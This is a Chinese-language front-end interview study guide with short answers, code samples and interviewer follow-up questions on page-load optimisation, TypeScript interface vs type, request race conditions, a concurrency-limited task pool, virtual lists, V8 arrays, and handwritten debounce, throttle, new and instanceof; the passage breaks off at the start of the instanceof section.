首屏优化的核心是让关键内容更早到达并完成渲染,同时推迟非关键资源和任务。 我一般会拆分 CSS、JavaScript,内联首屏关键代码,其余资源异步或懒加载,并结合 preload、preconnect 等资源提示缩短等待。图片、字体和请求数据也要控制体积与时机,并通过 LocalStorage、Service Worker 或服务端缓存减少重复传输。若真实加载时间仍然较长,可以用骨架屏或 Loading 改善白屏感知,但长任务仍应拆分异步执行或交给 Web Worker。

  • css / js 分割,使首屏依赖的文件体积最小,内联首屏关键 css / js;
  • 非关键性的文件尽可能的 异步加载和懒加载,避免阻塞首页渲染;
  • 使用dns-prefetch / preconnect / prefetch / preload等浏览器提供的资源提示,加快文件传输;
  • 谨慎控制好 Web字体,一个大字体包足够让你功亏一篑
    • 控制字体包的加载时机;
    • 如果使用的字体有限,那尽可能只将使用的文字单独打包,能有效减少体积; 合理利用 Localstorage / services worker 等存储方式进行 数据与资源缓存
  • 分清轻重缓急
    • 重要的元素优先渲染;
    • 视窗内的元素优先渲染
  • 服务端渲染(SSR):
    • 减少首屏需要的数据量,剔除冗余数据和请求;
    • 控制好缓存,对数据/页面进行合理的缓存;
    • 页面的请求使用流的形式进行传递;
  • 优化用户感知
    • 利用一些动画 过渡效果,能有效减少用户对卡顿的感知;
    • 尽可能利用 骨架屏(Placeholder) / Loading 等减少用户对白屏的感知;
    • 动画帧数尽量保证在 30帧 以上,低帧数、卡顿的动画宁愿不要;
    • js 执行时间避免超过 100ms,超过的话就需要做
      • 寻找可 缓存 的点
      • 任务的 分割异步 或 web worker 执行

移动端的性能优化

  1. 首屏加载和按需加载,懒加载
  2. 资源预加载
  3. 图片压缩处理,使用base64内嵌图片
  4. 合理缓存dom对象
  5. 使用touchstart代替click(click 300毫秒的延迟)
  6. 利用transform:translateZ(0),开启硬件GUP加速
  7. 不滥用web字体,不滥用float(布局计算消耗性能),减少font-size声明
  8. 使用viewport固定屏幕渲染,加速页面渲染内容
  9. 尽量使用事件代理,避免直接事件绑定

💬 面试官追问

  • 首页白屏明显,团队只加了骨架屏就宣布首屏优化完成,你认可吗?

    不认可,骨架屏主要改善等待感知,并没有减少阻塞资源或执行时间。仍需检查首屏CSS、JS和数据依赖,拆分并延后非关键内容;若骨架与真实布局差异过大,还可能带来视觉跳变。

  • 移动商城首屏包很大,轮播图下方还有多个不可见模块,你会怎样安排资源加载顺序?

    先保证视窗内关键元素及其样式、脚本和数据优先到达,把非关键模块拆包并异步或懒加载。图片应压缩并按需加载,资源提示只用于确定会尽快使用的资源;过度preload会争抢关键带宽。

  • 品牌升级要求首屏使用一个完整多字重Web Font,但弱网下文字长期不可见,你会如何协调?

    应控制字体包体积和加载时机,只打包实际使用的字符或字重,并避免让字体阻塞关键内容呈现。若品牌要求不能降级,就要接受首屏传输成本;若性能优先,则需准备系统字体回退方案。

  • 线上监控显示资源很快返回,但首页交互仍持续卡顿,主线程里有多段超过100ms的任务,你怎么排查?

    问题重点已从网络转向JavaScript执行,应定位长任务对应的计算、渲染和重复工作。可缓存稳定结果、拆分任务并异步调度,纯计算还可评估Web Worker;拆分过细会增加调度和通信成本。

  • 新闻首页准备从客户端渲染改成SSR,产品认为这样必然解决所有首屏问题,你会怎样设定边界?

    SSR能减少用户等待客户端生成首屏的部分时间,但不会自动消除冗余数据、慢请求或大资源。还要收敛首屏数据、配置页面与数据缓存,并考虑流式传输;同时会增加服务端容量和运维复杂度。

  • 首页同时使用dns-prefetch、preconnect、prefetch和preload,发布后关键脚本反而变慢,你会如何取舍?

    先核对每项提示对应的资源时机:关键且即将使用的资源才适合优先加载,未来页面资源不应抢占当前首屏带宽。删除收益不明的提示并观察加载瀑布;提示过多会制造连接和下载竞争。

# interface和type的区别(常考)

⚡ 30 秒速记

  • 在TypeScript中,interface和type都用于定义类型,但它们有一些区别

interface 和 type 都能定义类型,但前者更偏向描述对象结构,后者更适合表达复杂类型别名。 interface 可以用 extends 继承,也支持接口合并,常用于约束对象形状和类的实现。type 通过别名组合对象、联合类型和交叉类型,但不支持接口那样的继承或合并,也不用于定义类和接口。实际选择时,结构需要持续扩展可考虑 interface,需要联合或交叉组合则使用 type。

在TypeScript中,interface和type都用于定义类型,但它们有一些区别:

  1. 语法差异:
  • interface:使用interface关键字来定义接口,例如:interface Person { name: string; age: number; }
  • type:使用type关键字来定义类型别名,例如:type Person = { name: string; age: number; }
  1. 可扩展性:
  • interface:接口可以通过继承或合并来扩展,可以在定义接口时使用extends关键字继承其他接口,也可以使用&运算符合并多个接口。
  • type:类型别名不支持继承或合并,它只能用于定义现有类型的别名。
  1. 表达能力:
  • interface:接口可以描述对象、函数、类等复杂类型,还可以定义可选属性、只读属性、函数类型等。
  • type:类型别名可以描述对象、联合类型、交叉类型等,但不支持定义类和接口。
  1. 使用场景:
  • interface:适用于定义对象的形状和结构,以及类的实现。
  • type:适用于定义复杂类型别名、联合类型、交叉类型等。

总的来说,interface更适合用于定义对象的形状和结构,而type更适合用于定义复杂类型别名和联合类型。在实际使用中,可以根据具体需求选择使用哪种方式。

💬 面试官追问

  • 代码评审里有人说“type只能给现有类型起别名,不能描述对象”,看到type User = { id: string }时你怎么回应?

    这句话过于绝对,type能够直接描述对象,也能表达联合类型与交叉类型。真正差异应放在扩展方式和声明合并等能力上判断;不能仅凭是否为对象决定使用哪一种。

  • 组件库需要向使用方公开一个可扩展的ButtonProps对象结构,你倾向用interface还是type?

    若希望使用方通过继承或声明合并扩展对象结构,我会优先考虑interface。同时要控制公共接口的开放边界,避免不同模块的合并产生难以追踪的属性;不需要开放扩展时,两者都可描述该对象。

  • 状态字段从单一对象变成loading | success | error三种互斥结构,原先的interface方案还合适吗?

    这时更适合用type组织联合类型,让每个状态携带各自合法的数据结构,并利用判别字段缩小类型范围。若硬塞进一个接口,往往会出现大量可选属性;代价是后续新增状态需要同步检查所有分支。

  • 线上构建突然出现同名属性声明冲突,排查发现两个依赖都扩展了同一个interface,你怎么定位和处理?

    先查找该接口的所有声明位置,确认是否发生了声明合并,以及同名属性的类型是否兼容。可收紧扩展入口、重命名局部声明或改用不参与声明合并的类型组织方式;直接跳过类型检查只会隐藏冲突。

  • 团队规范要求“对象一律interface、其余一律type”,但某对象类型需要与另外两种结构做交叉组合,你会坚持规范吗?

    规范应服务于可读性和扩展边界,而不是禁止表达能力。对象结构稳定且需要继承时可用interface,复杂联合或交叉组合可用type;同一模块保持一致即可,频繁互换会增加认知成本。

  • 一个类需要遵守Serializable契约,同时业务还要定义字符串字面量联合类型,你会怎样分工?

    对象或类的结构契约可由interface描述,并让类通过implements接受检查;字符串字面量联合更适合由type表达。两者不是互斥阵营,应根据类型形态组合使用,同时避免把实现细节过度暴露为公共契约。

# 快速切换页码或搜索条件时,如何避免旧请求覆盖新数据?

⚡ 30 秒速记

  • 这是异步竞态,不是简单的防抖问题
  • 新查询开始时用 AbortController 取消旧请求,减少无效传输和解析
  • 每次查询生成递增版本号,写入状态前确认它仍是最新版本
  • 取消负责节省资源,版本校验负责保证最终状态正确,两层都要有
  • 缓存键必须包含页码、筛选、排序、租户等所有影响结果的条件

这类问题本质上是异步竞态,我会同时取消旧请求并校验请求版本,确保只有最新结果能写入状态。 新查询开始时用 AbortController.abort() 停止上一次请求,可以减少无效传输和解析;每次请求再生成递增版本号,响应回来后确认版本仍然最新。防抖只能减少请求次数,不能保证响应顺序,而且请求被取消时,任务也可能已进入不易中止的解析阶段。使用请求库时,还要把页码、筛选、排序和租户等完整条件放入缓存键,并复用其取消与去重能力。

let requestVersion = 0
let activeController: AbortController | undefined

async function loadList(page: number, keyword: string) {
  activeController?.abort()
  const controller = new AbortController()
  activeController = controller
  const version = ++requestVersion

  try {
    const query = new URLSearchParams({ page: String(page), keyword })
    const response = await fetch(```/api/items?${query}```, {
      signal: controller.signal
    })
    if (!response.ok) throw new Error(```HTTP ${response.status}```)

    const data = await response.json()
    if (version === requestVersion) render(data)
  } catch (error) {
    if (!controller.signal.aborted && version === requestVersion) showError(error)
  }
}

防抖只能减少请求数量,无法保证响应顺序。即使调用了 abort(),某些任务也可能不支持取消,或者响应已经进入 JSON 解析阶段,因此写状态前仍需校验版本。使用数据请求库时,应把完整查询条件放进缓存键并复用库提供的取消、去重能力。

💬 面试官追问

  • 商品列表页连续输入两次关键词,第二次请求先返回;你已经用防抖减少请求,为什么页面仍可能显示第一次的结果?

    防抖只减少请求次数,不能保证响应顺序,先发出的请求仍可能最后完成并覆盖新数据。每次查询应递增 requestVersion,写入状态前确认响应版本仍是最新值;网络延迟或解析耗时变化时,单靠防抖无法消除竞态。

  • 分页表格在快速点击页码时会并行发出多个 fetch,你会怎样同时减少无效工作并保证最终渲染正确?

    新查询开始时先调用旧 AbortController 的 abort(),再为本次请求创建控制器和唯一版本号。渲染与报错前都校验版本,只允许最新请求更新界面;取消属于资源优化,版本校验才是正确性兜底。

  • 后端 SDK 不接受 AbortSignal,而且响应返回后还要执行耗时的 JSON 解析,这套防竞态方案要怎样调整?

    无法取消底层任务时仍保留请求版本,并在解析完成、写状态之前再次校验当前版本。旧任务会继续消耗网络和计算资源,但其结果必须被丢弃;若解析本身造成明显阻塞,还需另行评估可中断或分段处理能力。

  • 线上搜索页偶发闪回旧关键词的数据,但日志显示旧请求已经执行过 abort();你会优先检查哪些写入路径?

    先检查成功回调、异常回调和 JSON 解析后的状态更新是否都验证了同一版本,再确认控制器没有被错误复用。abort() 可能发生在响应到达或解析开始之后,因此不能据此认定旧链路已停止;遗漏任一写入点都可能造成闪回。

  • 团队准备接入数据请求库,分页和关键词应该怎样设计缓存键,哪些竞态责任仍不能含糊交给组件?

    缓存键应包含页码、关键词等完整查询条件,使不同查询拥有不同身份,并复用库的取消与去重能力。组件不应再用不完整键共享结果,否则缓存也会串数据;同时要确认库如何判定过期响应,而不是假设所有库都自动处理竞态。

# 如何实现一个限制最大并发数的异步任务池?

⚡ 30 秒速记

  • 任务要以函数形式入队,避免创建 Promise 时就已经开始执行
  • 启动不超过上限数量的 worker,任一任务结束后立即领取下一项
  • 结果按输入下标保存,执行完成顺序与最终结果顺序可以不同
  • 明确快速失败还是收集全部结果,并支持取消、超时和有条件重试
  • 非幂等写操作不能盲目自动重试

实现异步任务池时,我会让任务以函数形式入队,再启动不超过并发上限的多个 worker,每完成一项就领取下一项。 不能直接传已经创建的 Promise,因为它们在入队前可能就开始执行了,限流也就失效了。结果按原始下标保存,这样任务完成顺序不同也不会打乱返回顺序。生产环境还要明确遇错是否停止,并按需支持 AbortSignal、超时和重试;非幂等写操作不能盲目重试,并发数也要结合服务端限流、内存和带宽实测。

async function runWithLimit(taskFactories, limit) {
  if (!Number.isInteger(limit) || limit < 1) {
    throw new RangeError('limit must be a positive integer')
  }

  const results = new Array(taskFactories.length)
  let cursor = 0

  async function worker() {
    while (cursor < taskFactories.length) {
      const index = cursor++
      try {
        results[index] = {
          status: 'fulfilled',
          value: await taskFactories[index]()
        }
      } catch (reason) {
        results[index] = { status: 'rejected', reason }
      }
    }
  }

  await Promise.all(
    Array.from({ length: Math.min(limit, taskFactories.length) }, worker)
  )
  return results
}

const tasks = endpoints.map((endpoint) => () => fetch(endpoint))
const results = await runWithLimit(tasks, 4)

生产版本还要决定:遇错是否停止领取新任务、如何传递 AbortSignal、哪些状态码允许重试、是否需要指数退避和优先级队列。并发数不是越大越快,要结合服务端限流、客户端内存、带宽和协议实测。

💬 面试官追问

  • 文件导入页有一千个接口任务,代码写成 Promise.all(urls.map(fetch));把外层换成任务池后为什么仍可能瞬间发出全部请求?

    如果传入的是已经创建的 Promise,请求在进入任务池前就启动了,调度器无法追回并发控制权。输入必须是尚未执行的任务工厂,例如 () => fetch(url);Promise.all 只汇总结果,不负责限制启动时机。

  • 批量同步页面要求最多同时运行四个任务,并按输入顺序展示成功或失败结果,你会怎样组织调度和结果数组?

    创建最多四个 worker,共享递增游标领取任务,并按领取到的原始索引写入预分配结果数组。每个任务单独捕获异常并记录 fulfilled 或 rejected,最后等待所有 worker;并发执行顺序不应改变结果顺序。

  • 产品要求任一任务失败后不再启动新任务,但已经运行的请求仍需妥善结束;原来的循环池要改动哪些语义?

    失败时设置停止领取标记,使各 worker 完成本任务后不再取新任务;已经启动的请求不会因 Promise 拒绝自动取消。若业务允许主动终止,应向任务传递共享 AbortSignal,但还要明确未启动和被取消任务在结果中的状态。

  • 线上批处理把并发从四调到二十后反而更慢,并出现服务端限流;你会怎样定位,而不是继续增大 limit?

    先观察服务端限流响应、客户端内存、带宽占用和单任务耗时,再按协议与真实环境逐步调整并发。更高并发会放大资源竞争和重试压力,不保证吞吐提升;缺少测量时不能仅凭客户端等待时间确定最优值。

  • 后端希望所有失败都重试,前端担心雪崩;在任务池中怎样划定重试、退避与优先级的边界?

    只对业务确认可重试的状态或错误重入队,并设置次数上限与指数退避,避免失败任务立即占满并发槽。高优先级任务可通过优先队列先领取,但会增加调度复杂度;是否重试必须结合接口幂等性与服务端限流策略。

# 不定高虚拟列表为什么容易跳动,应该怎么处理?

⚡ 30 秒速记

  • 首屏先用合理的估算高度,挂载后再测量真实高度
  • 用稳定数据 id 缓存测量值,图片、字体和展开状态变化后重新测量
  • 修正视口上方行高时同步补偿 scrollTop,保持当前阅读锚点不动
  • 使用前缀和加二分查找定位可见区,频繁更新可进一步使用树状数组
  • 保留适量 overscan,同时处理焦点、读屏语义和服务端渲染

不定高虚拟列表会跳动,是因为预估高度和真实高度存在偏差,行高修正后会改变视口上方内容的总高度。 我一般先用合理高度完成首屏渲染,再通过 ResizeObserver 测量,并用稳定的 id 缓存结果。若视口上方的行高发生变化,需要同步补偿 scrollTop,保持用户正在阅读的内容不动;可见区则可用前缀和配合二分查找定位。图片加载、字体切换和展开状态都可能再次改变高度,所以要持续测量并保留适量 overscan,真实项目通常优先使用成熟虚拟化库。

const measuredHeights = new Map<string, number>()

function watchRow(id: string, element: HTMLElement, refresh: () => void) {
  const observer = new ResizeObserver(([entry]) => {
    const height = entry.contentRect.height
    if (measuredHeights.get(id) !== height) {
      measuredHeights.set(id, height)
      refresh()
    }
  })
  observer.observe(element)
  return () => observer.disconnect()
}

图片加载、Web Font 切换、折叠面板展开都会改变真实高度,所以只在初次挂载时读一次 offsetHeight 不够。真实项目优先使用成熟虚拟化库;只有复杂表格或特殊交互超出库能力时再自研。

💬 面试官追问

  • 聊天记录页只在消息首次挂载时读取一次 offsetHeight,图片加载完成后滚动位置突然跳动;缓存明明已有高度,为什么仍不可靠?

    首次测量只反映当时布局,图片加载、Web Font 切换或折叠内容展开都会改变真实高度。应持续观察已渲染行的尺寸变化并更新高度缓存;若后续变化未被捕获,位置估算仍会累积偏差。

  • 一个数万条记录的虚拟列表需要支持图片和展开面板,你会怎样用 ResizeObserver 更新测量值并避免无效刷新?

    为可见行按稳定业务 id 建立观察,在高度确实变化时更新 Map 并触发虚拟列表重新计算。行卸载时必须执行 disconnect(),避免遗留观察者;刷新过于频繁仍可能增加布局与计算成本,需要由虚拟化层合并更新。

  • 运营后台允许筛选、插入和重新排序,团队想用数组下标缓存行高以减少字段设计;数据变化后会出现什么故障?

    同一下标在筛选或排序后可能对应另一条记录,旧高度会被错误套用,导致可视区计算和滚动定位偏移。高度缓存应绑定稳定业务 id,并在实体内容失效时重新测量;没有稳定标识时缓存正确性难以保证。

  • 线上列表只在部分用户那里越滚越偏,复现时关闭图片懒加载就正常;你会怎样验证高度缓存是否失真?

    记录同一业务 id 的缓存高度与 ResizeObserver 后续测量,重点检查图片完成加载前后的差值和刷新是否执行。再确认观察者未过早断开、行复用没有串用 id;只修正初始估算无法覆盖持续变化的内容。

  • 复杂表格团队准备自研不定高虚拟化,而成熟库已能处理普通列表;你会依据什么决定是否继续自研?

    普通列表应优先采用成熟虚拟化库,复用其测量、回收和滚动校正能力。只有复杂表格或特殊交互明确超出库能力时才值得自研,并需承担动态测量、缓存失效和滚动稳定性的长期维护成本。

# V8 中的稠密数组和稀疏数组有什么性能差异?

⚡ 30 秒速记

  • ECMAScript 只规定行为,具体存储策略属于引擎实现
  • 连续下标、元素类型稳定的数组更容易使用紧凑存储并被优化
  • 超大跳跃下标、频繁空洞和 delete 可能让数组转向更适合稀疏数据的表示
  • 数字键天然稀疏时优先考虑 Map 或对象
  • 不背引擎阈值,不为微优化牺牲可读性;先用 profile 证明瓶颈

在 V8 中,连续下标且元素类型稳定的稠密数组更容易采用紧凑存储并被优化,稀疏数组则可能使用更适合空洞数据的表示。 例如给数组设置超大跳跃下标,或者频繁制造空洞、使用 delete,都可能改变引擎的存储策略。需要注意,delete 只会留下空洞,不会像 splice 那样移动后续元素,而稀疏数组的 length 也可能远大于有效元素数量。具体策略和阈值不是语言保证,也会随引擎版本变化;数字键天然稀疏时可考虑 Map 或对象,其他情况先通过性能分析确认瓶颈。

const dense = [10, 20, 30]
dense.push(40)

const sparse = []
sparse[1_000_000] = 40

const withHole = [10, 20, 30]
delete withHole[1]

第二个数组虽然只有一个有效元素,length 却是一百万零一;第三个数组删除后留下空洞,并没有像 splice 一样把后续元素前移。引擎可能针对这些形态采用不同存储方式。面试时应说明这是实现优化而非语言保证,具体阈值会随引擎版本变化。

💬 面试官追问

  • 数据处理代码把值写到 items[1_000_000],监控却显示数组只有一个有效元素;为什么不能只凭元素数量判断它的存储与遍历成本?

    该写法会让 length 变成一百万零一,并在索引空间中形成大量空洞,数组形态已不同于连续追加的稠密数组。引擎可能为不同形态采用不同存储方式;具体成本和切换阈值属于实现细节,不能当作语言保证。

  • 表格删除一行时,有人建议使用 delete rows[index] 以避免移动后续元素;这会怎样影响数组语义和后续代码?

    delete 只移除该位置的值并留下空洞,不会缩短 length,也不会像 splice 那样前移后续元素。若业务需要连续行号,应使用符合语义的删除方式;为规避一次移动而制造稀疏结构,可能把复杂性转移到遍历和存储。

  • 数值计算热路径中的数组逐渐混入整数、小数和对象,评审直接断言一定会变慢;你会怎样回应这个结论?

    类型变化可能促使引擎采用更通用的元素表示,但不能据此断言业务一定出现可感知退化。应先保证数据模型正确,再针对真实规模和热路径做性能分析;引擎策略及阈值会变化,不能依赖未经测量的内部假设。

  • 线上任务发现数组遍历耗时增加,代码近期既加入了大索引赋值,又加入了 delete;你会如何缩小排查范围?

    先检查 length、有效索引分布和空洞来源,分别验证大索引赋值与 delete 是否改变了数组形态。再用可复现数据对比连续数组与当前结构的热路径表现;即使观察到差异,也应限定在当前引擎和负载条件内。

  • 业务数据天然以稀疏编号为键,架构师坚持改成稠密数组追求 V8 优化;这种选型应怎样权衡?

    若编号空间很大而有效项很少,强行填充成稠密数组可能浪费空间并扭曲数据模型,应考虑更符合键值语义的结构。稠密数组适合连续索引访问,但选择不应只依赖引擎优化猜测;需按访问方式、规模和实测结果决定。

# 13 手写题

# 防抖

⚡ 30 秒速记

  • 防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖就是把一段时间内连续触发的多次事件合并掉,只在停止触发并等待指定时间后执行一次回调。 每次出现新的触发,都清除旧定时器并重新计时,因此最终执行的是这一轮连续操作的最后一次。实现时可以在闭包中保存定时器,通过 clearTimeout 和 setTimeout 重置任务,并用 func.apply(this, args) 保留调用上下文和参数。它适合搜索联想、输入校验或防止连续提交;与节流不同,节流强调每隔一段时间执行一次,而不是只保留最后一次。

防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行,节流是将多次执行变成每隔一段时间执行

eg. 像百度搜索,就应该用防抖,当我连续不断输入时,不会发送请求;当我一段时间内不输入了,才会发送一次请求;如果小于这段时间继续输入的话,时间会重新计算,也不会发送请求。

手写简化版:

// func是用户传入需要防抖的函数
// wait是等待时间
const debounce = (func, wait = 50) => {
  // 缓存一个定时器id
  let timer = 0
  // 这里返回的函数是每次用户实际调用的防抖函数
  // 如果已经设定过定时器了就清空上一次的定时器
  // 开始一个新的定时器,延迟执行用户传入的方法
  return function(...args) {
    if (timer) clearTimeout(timer)
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

适用场景:

  • 文本输入的验证,连续输入文字后发送 AJAX 请求进行验证,验证一次就好
  • 按钮提交场景:防止多次提交按钮,只执行最后提交的一次
  • 服务端验证场景:表单验证需要服务端配合,只执行一段连续的输入事件的最后一次,还有搜索联想词功能类似

💬 面试官追问

  • 搜索框设置了 300ms 防抖,用户连续输入十次后只发出一次请求;同事因此说它和每 300ms 执行一次的节流等价,哪里不对?

    两者触发语义不同:防抖会不断重置等待时间,最终执行这一段连续操作的最后一次;节流是在持续触发期间按时间间隔执行。搜索联想通常关心停顿后的最终输入,而持续采样类场景才更接近节流。

  • 表单校验页要把连续输入合并为一次服务端验证,手写 debounce 时怎样保证回调拿到调用现场的参数和 this?

    返回函数应使用普通函数接收 ...args,每次调用先清除旧定时器,再创建新定时器。定时器触发后通过 func.apply(this, args) 保留最近一次调用的上下文与参数;若改用不合适的箭头函数,this 语义可能被固定。

  • 产品把搜索防抖等待时间调得很长以减少接口压力,用户停顿后明显感觉结果迟钝;你会怎样解释这个选型冲突?

    等待时间越长通常越能合并连续输入,但也会增加用户停止输入到请求发出的延迟。应结合输入节奏、交互反馈和服务端承载能力选择,而不是只追求最少请求;源码只说明机制,不能据此给出通用最优时长。

  • 线上偶发一次输入触发两次服务端校验,代码使用了简化版 debounce;你会优先检查哪些定时器与实例问题?

    先确认同一个交互是否反复创建了新的防抖函数,因为不同实例各自持有定时器,无法互相清除。再检查事件是否被重复绑定以及旧实例是否仍存活;只有调用落在同一闭包中,clearTimeout 才能合并此前触发。

  • 支付提交按钮被连续点击,团队想直接复用“最后一次执行”的防抖;为什么这不能替代服务端的重复提交防护?

    防抖只能在当前页面的一段连续点击中减少回调执行,无法覆盖刷新、多个标签页或网络重试等来源。按钮端可以用它改善交互,但交易正确性仍需服务端提供相应的重复提交约束;不能把客户端定时器当作可靠边界。

# 节流

⚡ 30 秒速记

  • 节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数

节流就是限制高频事件的执行频率,让回调按固定时间间隔有节奏地触发。 时间戳方案首次触发会立即执行,但停止触发后不会补上最后一次;定时器方案首次会延后执行,停止后还会再执行一次。像 mousemove 拖拽、resize 和 scroll 这类持续事件更适合节流,因为相比只在停止时执行的防抖,交互会更连贯。

节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数。总结起来就是:事件,按照一段时间的间隔来进行触发。

像dom的拖拽,如果用消抖的话,就会出现卡顿的感觉,因为只在停止的时候执行了一次,这个时候就应该用节流,在一定时间内多次执行,会流畅很多

手写简版

使用时间戳的节流函数会在第一次触发事件时立即执行,以后每过 wait 秒之后才执行一次,并且最后一次触发事件不会被执行

时间戳方式:

// func是用户传入需要防抖的函数
// wait是等待时间
const throttle = (func, wait = 50) => {
  // 上一次执行该函数的时间
  let lastTime = 0
  return function(...args) {
    // 当前时间
    let now = Date.now()
    // 将当前时间和上一次执行函数时间对比
    // 如果差值大于设置的等待时间就执行函数
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}

setInterval(
  throttle(() => {
    console.log(1)
  }, 500),
  1
)

定时器方式:

使用定时器的节流函数在第一次触发时不会执行,而是在 delay 秒之后才执行,当最后一次停止触发后,还会再执行一次函数

function throttle(func, delay){
  var timer = 0;
  return function(){
    var context = this;
    var args = arguments;
    if(timer) return // 当前有任务了,直接返回
    timer = setTimeout(function(){
      func.apply(context, args);
      timer = 0;
    },delay);
  }
}

适用场景:

  • 拖拽场景:固定时间内只执行一次,防止超高频次触发位置变动。DOM 元素的拖拽功能实现(mousemove)
  • 缩放场景:监控浏览器resize
  • 滚动场景:监听滚动scroll事件判断是否到页面底部自动加载更多
  • 动画场景:避免短时间内多次触发动画引起性能问题

总结

  • 函数防抖:限制执行次数,多次密集的触发只执行一次
    • 将几次操作合并为一次操作进行。原理是维护一个计时器,规定在delay时间后触发函数,但是在delay时间内再次触发的话,就会取消之前的计时器而重新设置。这样一来,只有最后一次操作能被触发。
  • 函数节流:限制执行的频率,按照一定的时间间隔有节奏的执行
    • 使得一定时间内只触发一次函数。原理是通过判断是否到达一定时间来触发函数。

💬 面试官追问

  • 拖拽看板的 mousemove 每几毫秒触发一次,产品却要求指针按下后立刻响应、松手前最后位置也必须落准;只用时间戳版节流会出现什么现象?

    时间戳版会立即处理首次事件,但停止触发时不会补执行末次事件,因此元素最终位置可能落后于指针。需要组合 leading 与 trailing 语义,保留最新参数并在剩余时间结束后执行;取消拖拽时还应清理定时器,避免过期位置回写。

  • 商品列表用 scroll 判断是否触底并加载下一页,用户持续快速滚动时,你会怎样把节流接入请求逻辑?

    应节流触底检测,而不是无条件节流请求,并在回调中再次核对滚动位置和加载状态。请求进行中设置互斥标记,避免多个节流窗口重复拉取同一页;若接口尚未返回,单靠节流仍不能解决重复请求和响应乱序。

  • 窗口 resize 原本每 100ms 重算布局,现在设计要求缩放过程持续更新,但结束后必须使用最终尺寸再校正一次,定时器版需要怎样调整?

    定时器版能限制持续触发频率并天然保留一次延后执行,但回调必须读取或保存最新的尺寸参数。每次窗口内更新待执行参数,定时器到期后用最新值运行;若还要求首次立即反馈,则需额外实现首触发执行,代价是状态与计时逻辑更复杂。

  • 线上动画按钮偶尔在用户停止点击后又触发一次,日志显示最后一次执行晚了约一个节流周期,你会先查哪段状态?

    先检查实现是否采用定时器节流,以及停止触发后是否仍保留未完成的 setTimeout。若业务不接受尾随执行,应在结束、卸载或取消动作中清除定时器,并阻止回调继续运行;同时确认 timer 执行后归零,否则后续事件可能永久失效。

  • 搜索联想和画布拖拽都存在高频事件,负责人想统一使用防抖以减少执行次数,你会如何处理这个选型冲突?

    搜索联想可倾向防抖,把密集输入合并为停止后的单次查询;画布拖拽则更适合节流,使移动期间按固定间隔持续更新。统一封装可以共享清理与参数透传能力,但不能抹平语义差异,否则拖拽会卡顿,搜索也可能产生不必要的中间请求。

# New的过程

⚡ 30 秒速记

  • new操作符做了这些事

new 会创建新对象并连接构造函数的原型,再以该对象作为 this 执行构造函数。 手写时可以用 Object.create(constructor.prototype) 建立原型关系,再通过 apply 传入初始化参数。如果构造函数返回的是对象,就直接采用该返回值;否则返回刚创建的新对象,这也是构造函数显式返回引用类型时实例结果会改变的原因。

new操作符做了这些事:

  • 创建一个全新的对象obj,继承构造函数的原型:这个对象的__proto__要指向构造函数的原型prototype
  • 执行构造函数,使用 call/apply 改变 this 的指向(将obj作为this)
  • 返回值为object类型则作为new方法的返回值返回,否则返回上述全新对象obj
function myNew(constructor, ...args) {
  // 1. 基于原型链 创建一个新对象,继承构造函数constructor的原型对象(Person.prototype)上的属性
  let newObj = Object.create(constructor.prototype);
  // 添加属性到新对象上 并获取obj函数的结果
  // 调用构造函数,将this调换为新对象,通过强行赋值的方式为新对象添加属性
  // 2. 将newObj作为this,执行 constructor ,传入参数
  let res = constructor.apply(newObj, args); // 改变this指向新创建的对象

  // 3. 如果函数的执行结果有返回值并且是一个对象, 返回执行的结果, 否则, 返回新创建的对象地址
  return typeof res === 'object' ? res: newObj;
}
// 用法
function Person(name, age) {
  this.name = name;
  this.age = age;

 // 如果构造函数内部,return 一个引用类型的对象,则整个构造函数失效,而是返回这个引用类型的对象,而不是返回this
  // 在实例中就没法获取Person原型上的getName方法
}
Person.prototype.say = function() {
  console.log(this.age);
};
let p1 = myNew(Person, "poety", 18);
console.log(p1.name);
console.log(p1);
p1.say();

💬 面试官追问

  • 构造函数 Person 给 this.name 赋值后返回数字 1,另一个构造函数返回对象 {name:'override'};调用手写 myNew 时两者结果应有什么差别?

    返回数字时应忽略该返回值,最终得到继承 Person.prototype 的新对象;返回对象时则以该对象作为构造结果。实现不能只判断“有返回值”,而要判断引用类型;还需注意 null 虽然满足 typeof null === 'object',却不应替代新对象。

  • 组件库想用 myNew(Button, options) 创建实例,并要求实例能调用后续挂到 Button.prototype 的方法,你会怎样保证原型关系?

    创建阶段应使用 Object.create(Button.prototype),再以该对象作为 this 执行 Button 并传入参数。这样实例的原型链会指向同一个原型对象,后续新增方法仍可访问;若复制原型属性而非建立原型链,动态扩展和继承关系都会失真。

  • 团队把普通箭头函数传给 myNew,代码在 Object.create(constructor.prototype) 处异常;你会给这个实现增加什么约束?

    应先限定输入必须具备可构造语义,至少不能把没有有效 prototype 的箭头函数当作普通构造函数处理。简版实现可明确抛出类型错误并拒绝继续;仅检查 typeof constructor === 'function' 仍不足以完整模拟原生可构造性,因此生产代码应优先使用原生 new。

  • 线上手写 myNew 创建出的实例偶尔变成 null,构造函数日志却显示属性已经写入 this,你会如何定位?

    先检查构造函数是否显式返回 null,以及实现是否直接用 typeof res === 'object' 决定结果。该判断会误把 null 当作对象,应排除 null 后再采用显式对象返回值,否则创建好的实例会被错误丢弃;函数返回值等更完整边界也要单独核对。

  • 有人提出不用 Object.create,改成先执行构造函数再写 newObj.__proto__ = constructor.prototype,你会接受吗?

    不建议把修改 __proto__ 作为默认方案,因为原型关系本应在对象创建时建立,Object.create 的意图也更直接。先执行构造函数还要求提前获得正确的 this,并未简化流程;手写实现适合解释机制,业务代码继续使用原生构造语法更可靠。

# instanceOf原理

⚡ 30 秒速记

  • 步骤1:先取得当前类的原型,当前实例对象的原型链

instanceof 本质上是在实例的原型链中查找构造函数的 prototype。 实现时先用 Object.getPrototypeOf 取得实例原型,再逐层向上查找,遇到目标原型就返回 true。如果一直查到 null 仍未匹配,则返回 false;对 null 或普通基本类型也应直接返回 false。

思路:

  • 步骤1:先取得当前类的原型,当前实例对象的原型链
